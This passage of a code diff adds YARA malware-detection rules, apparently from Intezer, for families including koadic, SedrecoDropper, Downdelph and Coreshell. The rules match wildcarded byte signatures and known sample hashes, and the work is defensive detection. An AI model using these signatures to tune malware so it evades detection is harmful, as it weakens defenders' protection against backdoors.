+		$block_78 = { 8B ?? ?? 03 ?? 2B ?? FF 8? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_79 = { FF 7? ?? 8D ?? ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_80 = { 4? 2B ?? 89 ?? ?? D3 ?? 8B ?? ?? 0B ?? 89 ?? ?? 6A ?? 5? 89 ?? ?? 3B ?? 0F 85 }
+		$block_81 = { 8B ?? ?? ?? ?? ?? 0F B6 ?? 0F B6 ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? ?? 75 }
+		$block_82 = { 5? 8D ?? ?? ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_83 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_84 = { 0F B6 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 4? C6 ?? ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_85 = { 0F 10 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 0F 11 ?? ?? ?? 83 ?? ?? 83 ?? ?? 72 }
+		$block_86 = { 83 ?? ?? ?? ?? ?? ?? 33 ?? 4? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? ?? 83 ?? ?? 75 }
+		$block_87 = { 8B ?? ?? 8A ?? ?? ?? ?? ?? ?? 4? 88 ?? ?? 4? 8B ?? ?? 0F B7 ?? ?? 3B ?? 7C }
+		$block_88 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 85 ?? 0F 84 }
+		$block_89 = { 8B ?? ?? 2B ?? ?? 03 ?? ?? 01 ?? ?? 8B ?? ?? 89 ?? ?? ?? 4? 83 ?? ?? 0F 8C }
+		$block_90 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 33 ?? 89 ?? ?? 89 ?? ?? 5? 8B ?? 85 ?? 0F 84 }
+		$block_91 = { 8A ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? 0F B6 ?? ?? ?? ?? ?? 8B ?? 3C ?? 75 }
+		$block_92 = { 5? 8B ?? 5? 5? 8B ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_93 = { 8B ?? ?? 89 ?? ?? 66 ?? ?? 33 ?? 8B ?? ?? 89 ?? ?? 89 ?? 39 ?? ?? 0F 8E }
+		$block_94 = { 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_95 = { 6A ?? 68 ?? ?? ?? ?? FF 7? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_96 = { 80 3? ?? 8D ?? ?? 0F 44 ?? 85 ?? 8B ?? 8D ?? ?? 0F 4E ?? 8B ?? 85 ?? 7F }
+		$block_97 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_98 = { 5? 8D ?? ?? 89 ?? ?? 5? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 85 ?? 0F 85 }
+		$block_99 = { 8B ?? 8B ?? ?? 2B ?? 6A ?? 03 ?? E8 ?? ?? ?? ?? 89 ?? ?? 5? 85 ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "e1a3a012b332f0728e11f7bbb7429dece387a1244b3daaee6da6b4407c48caf7" or
+		12 of them
+}
+
+rule koadic {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 5? 5? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 8B ?? ?? ?? ?? ?? ?? 33 ?? 5? 5? 8D ?? ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ?? FF D? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 89 ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 85 ?? 0F 89 }
+		$block_1 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_3 = { C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 9? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_5 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_7 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_8 = { 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 5? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 85 }
+		$block_9 = { 0F B7 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "430cbf950f9cea3f77374145f488a104f4ab664edca448effacbf2f8ba01b901" or
+		hash.sha256(0, filesize) == "7ea33696c91761e95697549e0b0f84db2cf4033216cd16c3264b10daa31f598c" or
+		10 of them
+}
+
+rule SedrecoDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF B? ?? ?? ?? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_1 = { 68 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_2 = { 41 ?? ?? ?? 48 ?? ?? 44 ?? ?? 46 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 40 ?? ?? ?? 0F 1F }
+		$block_3 = { 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_5 = { 8B ?? 33 ?? F7 ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 33 ?? 89 ?? ?? 4? 03 ?? 89 ?? ?? 3B }
+		$block_6 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 5? 6A ?? 6A ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_7 = { 8B ?? 33 ?? F7 ?? ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? EB }
+		$block_8 = { 4C ?? ?? ?? 41 ?? ?? ?? D1 ?? 49 ?? ?? ?? FF C? 8B ?? 8D ?? ?? 0F 1F }
+		$block_9 = { 8D ?? ?? ?? ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_10 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_11 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_12 = { 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 03 ?? 0F 1F ?? 44 ?? ?? 75 }
+		$block_13 = { 6A ?? 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? ?? 0F 85 }
+		$block_15 = { 33 ?? 83 ?? ?? 0F 9F ?? 4? 83 ?? ?? 83 ?? ?? 89 ?? ?? EB }
+		$block_16 = { 45 ?? ?? ?? 46 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 0F 1F }
+		$block_17 = { 0F B6 ?? ?? 01 ?? ?? 0F B6 ?? 01 ?? ?? 83 ?? ?? 4? 75 }
+		$block_18 = { 8D ?? ?? 4C ?? ?? ?? ?? 4C ?? ?? ?? ?? 03 ?? 0F 1F }
+		$block_19 = { 8B ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_20 = { E8 ?? ?? ?? ?? 0F B6 ?? 03 ?? 88 ?? ?? FE ?? EB }
+		$block_21 = { BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 3B ?? 0F 4E ?? EB }
+
+	condition:
+		hash.sha256(0, filesize) == "378ef276eeaa4a29dab46d114710fc14ba0a9f964f6d949bcbc5ed3267579892" or
+		hash.sha256(0, filesize) == "0d260a4ea865773a86b3fc0fe89df92c86289c0266b1dd5ab8e3174839cb94c2" or
+		hash.sha256(0, filesize) == "fb3a3339e2ba82cb3dcdc43d0e49e7b8a26ced3a587f5ee15a256aee062e6e05" or
+		hash.sha256(0, filesize) == "d403ded7c4acfffe8dc2a3ad8fb848f08388b4c3452104f6970835913d92166c" or
+		hash.sha256(0, filesize) == "2c81023a146d2b5003d2b0c617ebf2eb1501dc6e55fc6326e834f05f5558c0ec" or
+		12 of them
+}
+
+rule Downdelph {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 81 C? ?? ?? ?? ?? 5? 5? 33 ?? 89 ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 8B ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 83 ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 64 ?? ?? 64 ?? ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 5? 5? 8B ?? 5? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 33 ?? 6A ?? 4? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 8D ?? ?? ?? 5? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? F7 ?? 6A ?? 03 ?? 5? 5? E8 ?? ?? ?? ?? 5? FF 7? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 3B ?? 74 }
+		$block_2 = { 5? 8D ?? ?? 33 ?? E8 ?? ?? ?? ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 8B ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 66 ?? 33 }
+		$block_4 = { FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 33 ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 66 ?? ?? ?? C6 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_5 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 5? 5? 5? BE ?? ?? ?? ?? 8D ?? ?? A5 A5 A4 BE ?? ?? ?? ?? 8D ?? ?? A5 66 ?? 33 }
+		$block_6 = { 6A ?? 6A ?? FF 3? E8 ?? ?? ?? ?? FF 3? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? 4? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 0F BE ?? ?? ?? 6A ?? 99 5? F7 ?? 32 ?? ?? ?? 4? 88 ?? ?? ?? 83 ?? ?? 72 }
+		$block_9 = { FF 7? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "522fd9b35323af55113455d823571f71332e53dde988c2eb41395cf6b0c15805" or
+		hash.sha256(0, filesize) == "cfc60d5db3bfb4ec462d5e4bd5222f04d7383d2c1aec1dc2a23e3c74a166a93d" or
+		hash.sha256(0, filesize) == "6ccc375923a00571dffca613a036f77a9fc1ee22d1fddffb90ab7adfbb6b75f1" or
+		hash.sha256(0, filesize) == "3e23201e6c52470e73a92af2ded12e6a5d1ad39538f41e762ca1c4b8d93c6d8d" or
+		hash.sha256(0, filesize) == "79a508ba42247ddf92accbf5987b1ffc7ba20cd11806d332979d8a8fe85abb04" or
+		10 of them
+}
+
+rule Coreshell {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 6A ?? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_1 = { A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 0F AF ?? 69 ?? ?? ?? ?? ?? 2D ?? ?? ?? ?? 0F AF ?? 39 ?? 0F 84 }
+		$block_2 = { 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_4 = { 8D ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_5 = { 5? E8 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? 8D ?? ?? 5? 5? 89 ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_6 = { 68 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_7 = { FF B? ?? ?? ?? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_9 = { 8B ?? ?? ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_10 = { 8B ?? 33 ?? F7 ?? ?? ?? ?? ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 89 ?? ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? EB }
+		$block_11 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_12 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_13 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_14 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 89 ?? ?? ?? 0F 84 }
+		$block_15 = { 8B ?? ?? ?? ?? ?? 0B ?? 83 ?? ?? 8A ?? ?? 8B ?? ?? 88 ?? ?? 8B ?? ?? 4? 4? 83 ?? ?? 0F 82 }
+		$block_16 = { 8B ?? ?? ?? 8B ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_17 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? 4? 80 C? ?? 88 ?? ?? ?? 3B ?? ?? ?? 72 }
+		$block_18 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? C7 ?? ?? ?? ?? ?? ?? 0F 6E ?? ?? 0F 72 ?? ?? 0F 7E ?? ?? EB }
+		$block_19 = { 8D ?? ?? ?? 8D ?? ?? ?? 5? 5? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? FF D? FF D? 85 ?? 0F 85 }
+		$block_20 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_21 = { B9 ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? C6 ?? ?? ?? ?? F3 ?? 66 ?? AA 8B ?? ?? ?? 85 ?? 0F 84 }
+		$block_22 = { B9 ?? ?? ?? ?? 33 ?? 8D ?? ?? ?? 88 ?? ?? ?? F3 ?? 66 ?? AA 8B ?? ?? ?? 3B ?? 0F 84 }
+		$block_23 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 8B ?? ?? 5? 8B ?? 8B ?? 5? 33 ?? 5? 89 ?? ?? 3B ?? 0F 83 }
+		$block_24 = { 5? 8B ?? 83 ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_25 = { 8D ?? ?? ?? 8D ?? ?? ?? 5? 5? 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 85 }
+		$block_26 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 83 ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 3B ?? 72 }
+		$block_27 = { B8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 31 ?? F7 ?? 0F AF ?? 01 ?? 89 ?? ?? ?? ?? ?? E9 }
+		$block_28 = { 8B ?? 33 ?? F7 ?? 33 ?? 85 ?? 0F 95 ?? 33 ?? 33 ?? 89 ?? ?? 4? 03 ?? 89 ?? ?? 3B }
+		$block_29 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 80 C? ?? FF 8? ?? ?? ?? ?? 88 ?? ?? 75 }
+		$block_30 = { 8D ?? ?? 5? 6A ?? 6A ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_31 = { 8B ?? 33 ?? F7 ?? ?? 33 ?? 5? 85 ?? 0F 95 ?? 33 ?? 89 ?? ?? 33 ?? 8D ?? ?? ?? EB }
+		$block_32 = { 5? 8B ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 6E ?? ?? 0F 72 ?? ?? 0F 7E ?? ?? EB }
+		$block_33 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_34 = { 8D ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 33 ?? 85 ?? 0F 98 ?? 8D ?? ?? ?? 8D ?? ?? 23 }
+		$block_35 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? 3B ?? 0F 85 }
+		$block_36 = { 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 5? 6A ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_37 = { 8B ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 6A ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_38 = { 8B ?? ?? ?? 33 ?? BE ?? ?? ?? ?? 89 ?? ?? ?? F7 ?? 3B ?? 89 ?? ?? ?? 0F 83 }
+		$block_39 = { 0F B6 ?? ?? ?? D2 ?? 8A ?? ?? ?? D2 ?? 8B ?? ?? 0A ?? 8B ?? ?? FF 4? ?? 88 }
+		$block_40 = { 8B ?? ?? 0F B6 ?? ?? 5? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 5? 85 ?? 5? 74 }
+		$block_41 = { 8B ?? ?? ?? ?? ?? 9A ?? ?? ?? ?? ?? ?? 2F 9D FF D? FF D? 8B ?? 83 ?? ?? 75 }
+		$block_42 = { 8B ?? ?? ?? ?? ?? 4? 15 ?? ?? ?? ?? A6 01 ?? ?? 3A ?? ?? ?? 9E FF D? FF D? }
+		$block_43 = { 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? 85 ?? 0F 84 }
+		$block_44 = { 8B ?? ?? 8D ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_45 = { 6A ?? 6A ?? 6A ?? 8D ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$block_46 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 4? 83 ?? ?? 66 ?? ?? ?? ?? 3B ?? 72 }
+		$block_47 = { 8B ?? ?? ?? 4? 83 ?? ?? 3B ?? 89 ?? ?? ?? 8B ?? ?? ?? 89 ?? ?? ?? 0F 82 }
+		$block_48 = { FF 7? ?? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C2 }
+		$block_49 = { 0F B6 ?? ?? 88 ?? ?? 8B ?? ?? 0F B6 ?? ?? 30 ?? ?? 8B ?? ?? 4? 3B ?? 7C }
+		$block_50 = { 33 ?? 5? 85 ?? 5? 0F 94 ?? 5? 8B ?? ?? 33 ?? E8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_51 = { 68 ?? ?? ?? ?? A4 A4 4? 3F DC ?? 15 ?? ?? ?? ?? 5? FF D? 8B ?? 3B ?? 75 }
